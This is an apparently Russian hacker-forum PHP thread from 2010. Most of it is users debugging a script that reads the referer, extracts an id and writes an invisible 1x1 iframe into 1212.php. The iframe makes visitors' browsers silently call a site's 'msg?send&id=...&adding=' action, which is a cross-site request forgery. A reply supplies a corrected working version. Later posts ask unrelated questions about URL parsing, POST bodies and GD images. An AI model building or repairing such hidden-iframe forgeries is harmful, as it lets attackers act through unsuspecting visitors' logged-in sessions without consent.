
03.02.2010, 01:45
|
|
Moderator - Level 7
Регистрация: 06.02.2009
Сообщений: 195
С нами:
9083308
Репутация:
719
|
|
у меня такая проблемка, при переходе с сайта N, нужно считывать обратный адрес, с помощью регулярки вычленить слово после id= и вставив его с исправленной ссылкой во фрейм, записать готовый фрейм в файл 1212.php и перейдя на него выполнить готовую ссылку во фрейме.
Фрейм записывает в 1212.php, только ссылку в фрейм не подставляет. Где тут ошибка???
PHP код:
<?PHP
$ref = getenv("HTTP_REFERER");
$filelog = fopen("1212.php","a+");
fwrite($filelog,'<iframe width=1 height=1 style="position: absolute; visibility: hidden;" src=".$move"></iframe>');
fclose($filelog);
$move=preg_replace('/\D+/', 'http://site.ru/msg?send&id=', $ref);
$move.="&adding=";
header("Location: http://site.ru/1212.php");
?>
Последний раз редактировалось satana-fu; 03.02.2010 в 01:48..
|
|
|

03.02.2010, 02:28
|
|
Участник форума
Регистрация: 20.04.2007
Сообщений: 174
С нами:
10030823
Репутация:
149
|
|
Сообщение от satana-fu
у меня такая проблемка, при переходе с сайта N, нужно считывать обратный адрес, с помощью регулярки вычленить слово после id= и вставив его с исправленной ссылкой во фрейм, записать готовый фрейм в файл 1212.php и перейдя на него выполнить готовую ссылку во фрейме.
Фрейм записывает в 1212.php, только ссылку в фрейм не подставляет. Где тут ошибка???
PHP код:
<?PHP
$ref = getenv("HTTP_REFERER");
$filelog = fopen("1212.php","a+");
fwrite($filelog,'<iframe width=1 height=1 style="position: absolute; visibility: hidden;" src="'.$move.'"></iframe>');
fclose($filelog);
$move=preg_replace('/\D+/', 'http://site.ru/msg?send&id=', $ref);
$move.="&adding=";
header("Location: http://site.ru/1212.php");
?>
|
|
|

03.02.2010, 04:37
|
|
Moderator - Level 7
Регистрация: 06.02.2009
Сообщений: 195
С нами:
9083308
Репутация:
719
|
|
Сообщение от GlooK
PHP код:
<?PHP
$ref = getenv("HTTP_REFERER");
$filelog = fopen("1212.php","a+");
fwrite($filelog,'<iframe width=1 height=1 style="position: absolute; visibility: hidden;" src="'.$move.'"></iframe>');
fclose($filelog);
$move=preg_replace('/\D+/', 'http://site.ru/msg?send&id=', $ref);
$move.="&adding=";
header("Location: http://site.ru/1212.php");
?>
теперь фрейм записывается вообще с пустым сорсом
PHP код:
<iframe width=1 height=1 style="position: absolute; visibility: hidden;" src=""></iframe>
|
|
|

03.02.2010, 04:53
|
|
Постоянный
Регистрация: 17.09.2008
Сообщений: 562
С нами:
9288386
Репутация:
536
|
|
Сообщение от satana-fu
теперь фрейм записывается вообще с пустым сорсом
Так ничего удивительного ты записываешь в файл
PHP код:
<iframe width=1 height=1 style="position: absolute; visibility: hidden;" src="'.$move.'"></iframe>
а потом только с переменной $move производишь какие-то непонятные манипуляции...
так попробуй:
PHP код:
<?PHP
$ref = getenv("HTTP_REFERER");
preg_match("/(?<=send&id=)(.*?)$/", $ref, $id);
$filelog = fopen("1212.php","a+");
fwrite($filelog,'<iframe width=1 height=1 style="position: absolute; visibility: hidden;" src="'.$id[0].'"></iframe>');
fclose($filelog);
header("Location: 1212.php");
?>
Тогда в 1212.php запишется
PHP код:
<iframe width=1 height=1 style="position: absolute; visibility: hidden;" src="тут ИД который спарсили"></iframe>
Последний раз редактировалось Fepsis; 03.02.2010 в 05:03..
|
|
|

03.02.2010, 17:54
|
|
Познающий
Регистрация: 14.03.2009
Сообщений: 86
С нами:
9031356
Репутация:
12
|
|
Как проверить URL relative или absolute? Нужна функция…
|
|
|

04.02.2010, 02:51
|
|
Участник форума
Регистрация: 21.02.2008
Сообщений: 255
С нами:
9589849
Репутация:
177
|
|
Сообщение от draliokero
Как проверить URL relative или absolute? Нужна функция…
PHP код:
<?php
function isabs($url) {
return (parse_url($url, PHP_URL_SCHEME) !== null);
}//bool
Последний раз редактировалось imajo.ati; 04.02.2010 в 02:54..
|
|
|

04.02.2010, 10:15
|
|
Участник форума
Регистрация: 15.01.2009
Сообщений: 158
С нами:
9116253
Репутация:
26
|
|
Не нашёл ответа... Есть ли разница как подавать POST запрос:
В строке:
Код:
$str="param=$param&log=$log";
Или в массиве:
Код:
$str=array(
'param' => $param,
'log' => $log);
|
|
|

04.02.2010, 10:56
|
|
Участник форума
Регистрация: 31.01.2010
Сообщений: 170
С нами:
8566257
Репутация:
63
|
|
Komyak
ты берешь данные из формы и делаешь POSTFIELDS через CURL?
|
|
|

04.02.2010, 18:09
|
|
Постоянный
Регистрация: 05.12.2004
Сообщений: 647
С нами:
11278406
Репутация:
818
|
|
Сообщение от Komyak
Не нашёл ответа... Есть ли разница как подавать POST запрос:
В строке:
Код:
$str="param=$param&log=$log";
Или в массиве:
Код:
$str=array(
'param' => $param,
'log' => $log);
Если слать файл то в массиве, если просто пост то обычно строкой делай.
|
|
|

04.02.2010, 12:16
|
|
Познающий
Регистрация: 14.03.2009
Сообщений: 86
С нами:
9031356
Репутация:
12
|
|
Как с помощью GD сделать изображение черно-белым, не используя фильтр IMG_FILTER_GRAYSCALE, только два цвета черный и белый без серого?
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|